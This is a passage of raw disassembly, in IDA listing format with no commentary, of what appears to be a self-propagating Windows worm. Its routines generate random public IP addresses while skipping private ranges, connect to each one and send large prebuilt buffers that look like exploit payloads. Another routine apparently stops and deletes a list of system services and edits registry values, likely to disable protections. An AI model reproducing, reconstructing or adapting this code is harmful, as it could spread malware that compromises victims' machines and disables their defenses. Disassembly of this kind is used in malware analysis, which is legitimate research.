		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		cmp	[ebp+var_3050],	0
		jz	loc_43FCF5
		push	68h
		push	offset sub_40479E
		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_4408C9
		push	1B5Ah
		lea	eax, [ebp+var_1BDA]
		push	eax
		lea	eax, [ebp+var_8970]
		push	eax
		call	sub_4408C9
		push	70h
		push	offset sub_404807
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_4408C9
		push	0A5Eh
		lea	eax, [ebp+var_B46]
		push	eax
		lea	eax, [ebp+var_60A2]
		push	eax
		call	sub_4408C9
		push	84h
		push	404878h
		lea	eax, [ebp+var_55DE]
		push	eax
		call	sub_4408C9
		add	esp, 3Ch
		push	0
		push	10FCh
		lea	eax, [ebp+var_89D8]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0FDCh
		lea	eax, [ebp+var_6112]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43FD5B
		jmp	short loc_43FD5B
; ---------------------------------------------------------------------------


loc_43FCF5:				; CODE XREF: sub_43F725+4FAj
		push	7Ch
		push	404690h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_4408C9
		push	7D0h
		lea	eax, [ebp+var_68E2]
		push	eax
		lea	eax, [ebp+var_3FBD]
		push	eax
		call	sub_4408C9
		push	90h
		push	offset sub_40470D
		lea	eax, [ebp+var_37ED]
		push	eax
		call	sub_4408C9
		add	esp, 24h
		mov	[ebp+var_3342],	0
		push	0
		push	0CF8h
		lea	eax, [ebp+var_4039]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2


loc_43FD5B:				; CODE XREF: sub_43F725+5CCj
					; sub_43F725+5CEj
		push	64h
		call	sub_44076D
		and	[ebp+var_3054],	0


loc_43FD69:				; CODE XREF: sub_43F725+216j
					; sub_43F725+258j ...
		push	2
		push	[ebp+var_54]
		call	sub_4405CD


loc_43FD73:				; CODE XREF: sub_43F725+1CEj
		push	[ebp+var_54]
		call	sub_440555


loc_43FD7B:				; CODE XREF: sub_43F725+53j
		mov	eax, [ebp+var_3054]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F725	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43FD86	proc near		; CODE XREF: .data:loc_43FDFAp

var_32		= byte ptr -32h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	esi
		push	edi
		push	31h
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_440579
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43FDA2
		xor	eax, eax
		jmp	short loc_43FDBC
; ---------------------------------------------------------------------------


loc_43FDA2:				; CODE XREF: sub_43FD86+16j
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_44056D
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43FDB5
		xor	eax, eax
		jmp	short loc_43FDBC
; ---------------------------------------------------------------------------


loc_43FDB5:				; CODE XREF: sub_43FD86+29j
		mov	eax, [edi+0Ch]
		mov	esi, [eax]
		mov	eax, [esi]


loc_43FDBC:				; CODE XREF: sub_43FD86+1Aj
					; sub_43FD86+2Dj
		pop	edi
		pop	esi
		leave
		retn
sub_43FD86	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	ebx
		push	esi
		push	edi
		call	sub_4406F5
		push	eax
		call	sub_440911
		mov	esi, 254h
		mov	eax, esi
		add	eax, 0Ah
		push	eax
		push	0
		call	sub_440731
		mov	ebx, eax
		push	esi
		push	4040BFh
		push	ebx
		call	sub_4408C9
		add	esp, 10h


loc_43FDFA:				; CODE XREF: .data:0043FE14j
					; .data:0043FE4Ej ...
		call	sub_43FD86
		mov	[ebp-10Ch], eax
		or	eax, eax
		jnz	short loc_43FE16
		push	384h
		call	sub_4408B1
		pop	ecx
		jmp	short loc_43FDFA
; ---------------------------------------------------------------------------


loc_43FE16:				; CODE XREF: .data:0043FE07j
		mov	al, [ebp-10Ch]
		mov	[ebp-111h], al
		mov	al, [ebp-10Bh]
		mov	[ebp-112h], al
		mov	al, [ebp-10Ah]
		mov	[ebp-135h], al
		cmp	byte ptr [ebp-111h], 7Fh
		jnz	short loc_43FE50
		push	384h
		call	sub_4408B1
		pop	ecx
		jmp	short loc_43FDFA
; ---------------------------------------------------------------------------


loc_43FE50:				; CODE XREF: .data:0043FE41j
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43F624
		push	0
		call	sub_4408B1
		add	esp, 8
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-134h], dl
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-131h], dl
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		mov	edi, edx
		inc	edi
		mov	edx, edi
		mov	[ebp-132h], dl
		call	sub_4408ED
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		mov	[ebp-133h], dl
		mov	al, [ebp-133h]
		cmp	al, 5
		jnb	short loc_43FEED
		mov	al, [ebp-112h]
		mov	[ebp-134h], al
		mov	al, [ebp-133h]
		cmp	al, 3
		jnb	short loc_43FEED
		mov	al, [ebp-135h]
		mov	[ebp-131h], al


loc_43FEED:				; CODE XREF: .data:0043FEC9j
					; .data:0043FEDFj
		cmp	byte ptr [ebp-111h], 0Ah
		jnz	short loc_43FF22
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		movzx	eax, byte ptr [ebp-134h]
		push	eax
		push	404D49h
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440905
		add	esp, 14h


loc_43FF22:				; CODE XREF: .data:0043FEF4j
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0ACh
		jnz	short loc_43FF7C
		mov	al, [ebp-112h]
		cmp	al, 0Fh
		jbe	short loc_43FF7C
		cmp	al, 21h
		jnb	short loc_43FF7C
		call	sub_4408ED
		movzx	edi, byte ptr [ebp-132h]
		push	edi
		movzx	edi, byte ptr [ebp-131h]
		push	edi
		mov	edx, eax
		and	edx, 8000000Fh
		jge	short loc_43FF62
		dec	edx
		or	edx, 0FFFFFFF0h
		inc	edx


loc_43FF62:				; CODE XREF: .data:0043FF5Bj
		mov	edi, edx
		add	edi, 10h
		push	edi
		push	404D3Ch
		lea	edi, [ebp-130h]
		push	edi
		call	sub_440905
		add	esp, 14h


loc_43FF7C:				; CODE XREF: .data:0043FF2Ej
					; .data:0043FF38j ...
		movzx	eax, byte ptr [ebp-111h]
		cmp	eax, 0C0h
		jnz	short loc_43FFBC
		movzx	eax, byte ptr [ebp-112h]
		cmp	eax, 0A8h
		jnz	short loc_43FFBC
		movzx	eax, byte ptr [ebp-132h]
		push	eax
		movzx	eax, byte ptr [ebp-131h]
		push	eax
		push	offset sub_404D2E
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440905
		add	esp, 10h


loc_43FFBC:				; CODE XREF: .data:0043FF88j
					; .data:0043FF96j
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440591
		cmp	[ebp-10Ch], eax
		jz	loc_43FDFA
		push	dword ptr [ebp-10Ch]
		call	sub_44059D
		movzx	edi, word ptr ds:loc_404092+2
		push	edi
		push	eax
		push	404D27h
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_440905
		add	esp, 10h


loc_43FFFC:				; CODE XREF: .data:00440025j
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh


loc_440005:				; CODE XREF: .data:0044000Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440005
		cmp	eax, 19h
		jz	short loc_440027
		push	404D25h
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_44091D
		add	esp, 8
		jmp	short loc_43FFFC
; ---------------------------------------------------------------------------


loc_440027:				; CODE XREF: .data:0044000Fj
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh


loc_440030:				; CODE XREF: .data:00440035j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440030
		push	eax
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, ebx
		add	edi, 9
		push	edi
		call	sub_4408C9
		add	esp, 0Ch
		lea	eax, [ebp-130h]
		push	eax
		call	sub_440591
		push	esi
		push	ebx
		push	eax
		call	sub_43F725
		add	esp, 0Ch
		mov	[ebp-13Ch], eax
		push	0
		call	sub_4408B1
		add	esp, 4
		jmp	loc_43FDFA
; ---------------------------------------------------------------------------
		db 5Fh,	5Eh, 5Bh
		dd 4C2C9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440080	proc near		; CODE XREF: .data:004400C2p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_440701
		cmp	eax, 80000000h
		jb	short loc_440097
		mov	eax, 3Ch
		jmp	short locret_4400B8
; ---------------------------------------------------------------------------


loc_440097:				; CODE XREF: sub_440080+Ej
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4405E5
		and	[ebp+var_4], 2
		cmp	[ebp+var_4], 2
		jnz	short loc_4400B3
		mov	eax, 12Ch
		jmp	short locret_4400B8
; ---------------------------------------------------------------------------


loc_4400B3:				; CODE XREF: sub_440080+2Aj
		mov	eax, 64h

locret_4400B8:				; CODE XREF: sub_440080+15j
					; sub_440080+31j
		leave
		retn
sub_440080	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_440080
		mov	ebx, eax
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	401565h
		push	0
		push	0
		call	sub_440791
		push	eax
		call	sub_4406E9
		xor	esi, esi
		jmp	short loc_44011B
; ---------------------------------------------------------------------------


loc_4400E9:				; CODE XREF: .data:0044011Dj
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	401E23h
		push	0
		push	0
		call	sub_440791
		push	eax
		call	sub_4406E9
		mov	eax, 0EA60h
		xor	edx, edx
		div	ebx
		mov	[ebp-8], eax
		mov	edi, eax
		push	eax
		call	sub_4408B1
		pop	ecx
		inc	esi


loc_44011B:				; CODE XREF: .data:004400E7j
		cmp	esi, ebx
		jb	short loc_4400E9
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440126	proc near		; CODE XREF: sub_4403F5+ACp

var_388		= dword	ptr -388h
var_384		= dword	ptr -384h
var_380		= dword	ptr -380h
var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 388h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_16C]
		lea	esi, loc_404A2F+9
		mov	ecx, 51h
		rep movsd
		and	[ebp+var_24], 0


loc_440149:				; CODE XREF: sub_440126+211j
		push	0F003Fh
		push	0
		push	0
		call	sub_440839
		mov	[ebp+var_28], eax
		or	eax, eax
		jz	loc_440330
		push	0F003Fh
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_370], eax
		push	[ebp+eax+var_16C]
		push	[ebp+var_28]
		call	sub_440845
		mov	ebx, eax
		or	eax, eax
		jz	loc_440328
		lea	eax, [ebp+var_20]
		push	eax
		push	1
		push	ebx
		call	sub_440821
		mov	[ebp+var_4], eax
		and	[ebp+var_4], 0


loc_4401A1:				; CODE XREF: sub_440126+A4j
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		push	ebx
		call	sub_440821
		or	eax, eax
		jz	short loc_4401B7
		cmp	[ebp+var_1C], 1
		jnz	short loc_4401B9


loc_4401B7:				; CODE XREF: sub_440126+89j
		jmp	short loc_4401CC
; ---------------------------------------------------------------------------


loc_4401B9:				; CODE XREF: sub_440126+8Fj
		push	3E8h
		call	sub_44076D
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 0Ah
		jb	short loc_4401A1


loc_4401CC:				; CODE XREF: sub_440126:loc_4401B7j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_374], eax
		cmp	[ebp+eax+var_168], 0
		jz	short loc_4401EA
		push	ebx
		call	sub_44082D


loc_4401EA:				; CODE XREF: sub_440126+BCj
		push	ebx
		call	sub_440815
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_378], eax
		cmp	[ebp+eax+var_164], 0
		jz	loc_440328
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_37C], eax
		mov	eax, [ebp+eax+var_164]
		cmp	byte ptr [eax],	0
		jnz	loc_4402B0
		push	0
		push	18h
		lea	eax, [ebp+var_36C]
		push	eax
		push	0
		call	sub_4405F1
		or	eax, eax
		jz	short loc_4402B0
		lea	ecx, [ebp+var_36C]
		or	eax, 0FFFFFFFFh


loc_440249:				; CODE XREF: sub_440126+128j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_440249
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jbe	short loc_44027D
		mov	eax, [ebp+var_4]
		sub	eax, 1
		cmp	[ebp+eax+var_36C], 5Ch
		jz	short loc_44027D
		push	404BA0h
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_44091D
		add	esp, 8


loc_44027D:				; CODE XREF: sub_440126+131j
					; sub_440126+141j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_44091D
		add	esp, 8
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_44079D


loc_4402B0:				; CODE XREF: sub_440126+FEj
					; sub_440126+118j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+eax+var_164]
		cmp	byte ptr [eax],	1
		jnz	short loc_440328
		lea	eax, [ebp+var_4]
		push	eax
		push	20006h
		push	0
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_384], eax
		mov	edx, [ebp+eax+var_164]
		push	dword ptr [edx+4]
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+0Ch]
		call	sub_440875
		or	eax, eax
		jnz	short loc_440328
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_388], eax
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+8]
		push	[ebp+var_4]
		call	sub_440851
		push	[ebp+var_4]
		call	sub_440869


loc_440328:				; CODE XREF: sub_440126+62j
					; sub_440126+E0j ...
		push	[ebp+var_28]
		call	sub_440815


loc_440330:				; CODE XREF: sub_440126+36j
		inc	[ebp+var_24]
		cmp	[ebp+var_24], 1Bh
		jb	loc_440149
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_440126	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	eax, [ebp+0Ch]
		cmp	eax, 10h
		jz	short loc_4403D2
		jg	short loc_44035F
		cmp	eax, 2
		jz	short loc_4403C9
		jmp	loc_4403DF
; ---------------------------------------------------------------------------


loc_44035F:				; CODE XREF: .data:00440353j
		cmp	eax, 113h
		jnz	short loc_4403DF
		and	dword ptr [ebp-4], 0
		mov	dword ptr [ebp-8], 4
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	404B81h
		push	offset sub_404B85
		push	80000001h
		call	sub_43F364
		mov	eax, dword ptr ds:loc_404097+1
		mov	[ebp-0Ch], eax
		add	[ebp-4], eax
		push	4
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	404B81h
		push	offset sub_404B85
		push	80000001h
		call	sub_43F2F9
		add	esp, 30h
		push	0
		push	404098h
		call	sub_440719
		jmp	short loc_4403F0
; ---------------------------------------------------------------------------


loc_4403C9:				; CODE XREF: .data:00440358j
		push	0
		call	sub_4407E5
		jmp	short loc_4403F0
; ---------------------------------------------------------------------------


loc_4403D2:				; CODE XREF: .data:00440351j
		push	dword ptr ds:loc_402FFF+1
		call	sub_4407FD
		jmp	short loc_4403F0
; ---------------------------------------------------------------------------


loc_4403DF:				; CODE XREF: .data:0044035Aj
					; .data:00440364j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_440809


loc_4403F0:				; CODE XREF: .data:004403C7j
					; .data:004403D0j ...
		pop	edi
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4403F5	proc near		; CODE XREF: sub_4405FD+5Cp

var_2DC		= byte ptr -2DCh
var_2D8		= byte ptr -2D8h
var_148		= dword	ptr -148h
var_143		= byte ptr -143h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_8]
		push	offset sub_403010
		call	sub_440681
		push	404B7Ch
		lea	eax, [ebp+var_143]
		push	eax
		call	sub_440905
		and	[ebp+var_44], 0
		lea	eax, sub_4023A7
		mov	[ebp+var_40], eax
		and	[ebp+var_3C], 0
		and	[ebp+var_38], 0
		mov	[ebp+var_34], edi
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		lea	eax, [ebp+var_143]
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_4407B5
		push	0
		push	edi
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0CF0000h
		push	404D25h
		lea	eax, [ebp+var_143]
		push	eax
		push	0
		call	sub_4407F1
		mov	dword ptr ds:loc_402FFF+1, eax
		call	sub_4406C5
		push	eax
		call	sub_43F2D4
		lea	eax, [ebp+var_2D8]
		push	eax
		push	2
		call	sub_440531
		push	0
		call	sub_440126
		lea	eax, [ebp+var_2DC]
		push	eax
		push	0
		push	0
		push	40211Dh
		push	0
		push	0
		call	sub_440791
		push	eax
		call	sub_4406E9
		and	[ebp+var_148], 0
		push	4
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		push	404B81h
		push	offset sub_404B85
		push	80000001h
		call	sub_43F2F9
		add	esp, 24h
		push	0
		push	2710h
		push	1
		push	dword ptr ds:loc_402FFF+1
		call	sub_4407A9
		jmp	short loc_440516
; ---------------------------------------------------------------------------


loc_440504:				; CODE XREF: sub_4403F5+132j
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4407CD
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4407D9


loc_440516:				; CODE XREF: sub_4403F5+10Dj
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4407C1
		or	eax, eax
		jnz	short loc_440504
		pop	edi
		leave
		retn	10h
sub_4403F5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440531	proc near		; CODE XREF: sub_4403F5+A5p
		jmp	dword ptr ds:loc_40524C
sub_440531	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44053D	proc near		; CODE XREF: .data:0043F5FBp
		jmp	dword ptr ds:loc_40524D+3
sub_44053D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440549	proc near		; CODE XREF: .data:0043F5C8p
		jmp	dword ptr ds:loc_40524D+7
sub_440549	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440555	proc near		; CODE XREF: .data:0043F4F6p
					; sub_43F725+651p
		jmp	dword ptr ds:loc_405256+2
sub_440555	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440561	proc near		; CODE XREF: sub_43F725+1BAp
		jmp	dword ptr ds:loc_405256+6
sub_440561	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44056D	proc near		; CODE XREF: sub_43FD86+20p
		jmp	dword ptr ds:loc_40525D+3
sub_44056D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440579	proc near		; CODE XREF: sub_43FD86+Ep
		jmp	dword ptr ds:loc_405263+1
sub_440579	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440585	proc near		; CODE XREF: .data:0043F5B6p
					; sub_43F725+197p
		jmp	dword ptr ds:loc_405263+5
sub_440585	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440591	proc near		; CODE XREF: .data:0043FFC3p
					; .data:00440054p
		jmp	dword ptr ds:loc_40526B+1
sub_440591	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44059D	proc near		; CODE XREF: sub_43F725+63p
					; .data:0043FFDAp
		jmp	dword ptr ds:loc_40526E+2
sub_44059D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405A9	proc near		; CODE XREF: .data:0043F5E6p
		jmp	dword ptr ds:loc_405274
sub_4405A9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405B5	proc near		; CODE XREF: .data:0043F3D6p
					; sub_43F725+20Bp ...
		jmp	dword ptr ds:loc_405275+3
sub_4405B5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405C1	proc near		; CODE XREF: .data:0043F428p
					; .data:0043F464p ...
		jmp	dword ptr ds:loc_40527A+2
sub_4405C1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405CD	proc near		; CODE XREF: .data:0043F4EEp
					; sub_43F725+649p
		jmp	dword ptr ds:loc_40527A+6
sub_4405CD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405D9	proc near		; CODE XREF: .data:0043F57Fp
					; sub_43F725+48p
		jmp	dword ptr ds:loc_405281+3
sub_4405D9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405E5	proc near		; CODE XREF: sub_440080+1Dp
		jmp	dword ptr ds:loc_40528F+1
sub_4405E5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4405F1	proc near		; CODE XREF: sub_440126+111p
		jmp	dword ptr ds:loc_405299+3
sub_4405F1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4405FD	proc near		; CODE XREF: .data:0043F21Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	sub_4406B9
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	short loc_440631
		push	22h
		mov	eax, edi
		inc	eax
		push	eax
		call	sub_440929
		add	esp, 8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_44064C
		mov	edi, eax
		inc	edi
		jmp	short loc_440629
; ---------------------------------------------------------------------------


loc_440628:				; CODE XREF: sub_4405FD+2Fj
		inc	edi


loc_440629:				; CODE XREF: sub_4405FD+29j
		cmp	byte ptr [edi],	20h
		jz	short loc_440628
		jmp	short loc_44064C
; ---------------------------------------------------------------------------


loc_440630:				; CODE XREF: sub_4405FD+3Ej
		inc	edi


loc_440631:				; CODE XREF: sub_4405FD+Fj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_44063D
		cmp	eax, 20h
		jnz	short loc_440630


loc_44063D:				; CODE XREF: sub_4405FD+39j
		jmp	short loc_440640
; ---------------------------------------------------------------------------


loc_44063F:				; CODE XREF: sub_4405FD+4Dj
		inc	edi


loc_440640:				; CODE XREF: sub_4405FD:loc_44063Dj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_44064C
		cmp	eax, 20h
		jz	short loc_44063F


loc_44064C:				; CODE XREF: sub_4405FD+24j
					; sub_4405FD+31j ...
		push	0
		call	sub_4406DD
		push	1
		push	edi
		push	0
		push	eax
		call	sub_4403F5
		pop	edi
		leave
		retn
sub_4405FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_440661	proc near		; CODE XREF: sub_43F725+8p

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_440662:				; CODE XREF: sub_440661+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_440662
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_440661	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_440681	proc near		; CODE XREF: sub_4403F5+15p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_440681	endp

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406AD	proc near		; CODE XREF: .data:0043F53Cp
		jmp	dword ptr ds:loc_4052A8
sub_4406AD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406B9	proc near		; CODE XREF: sub_4405FD+5p
		jmp	dword ptr ds:loc_4052A8+4
sub_4406B9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406C5	proc near		; CODE XREF: sub_4403F5+91p
		jmp	dword ptr ds:loc_4052B0
sub_4406C5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406D1	proc near		; CODE XREF: .data:0043F544p
		jmp	dword ptr ds:loc_4052B2+2
sub_4406D1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406DD	proc near		; CODE XREF: sub_4405FD+51p
		jmp	dword ptr ds:loc_4052B2+6
sub_4406DD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406E9	proc near		; CODE XREF: .data:0043F574p
					; .data:0043F618p ...
		jmp	dword ptr ds:loc_4052B9+3
sub_4406E9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4406F5	proc near		; CODE XREF: .data:0043FDCCp
		jmp	dword ptr ds:loc_4052C0
sub_4406F5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_440701	proc near		; CODE XREF: sub_440080+4p
		jmp	dword ptr ds:loc_4052C0+4
sub_440701	endp

; ---------------------------------------------------------------------------
